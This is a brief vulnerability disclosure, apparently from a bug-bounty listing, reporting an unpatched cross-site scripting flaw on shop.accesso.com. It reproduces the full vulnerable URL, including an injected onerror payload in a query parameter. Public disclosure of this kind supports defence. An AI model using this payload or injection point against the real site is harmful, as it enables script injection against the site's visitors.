shop.accesso.com XSS vulnerability

Vulnerable URL: https://shop.accesso.com/affiliate/sixflagsBlast/template/Ride1.php?username===5007=Fulton+County+Government=https://shop.accesso.com/clients/sixflags/affiliate/index.php?m=12907ℑ=xss%22%20onerror=prompt%27openbugbounty%27%20%22 Details: Description| Value ---|--- Patched:| No...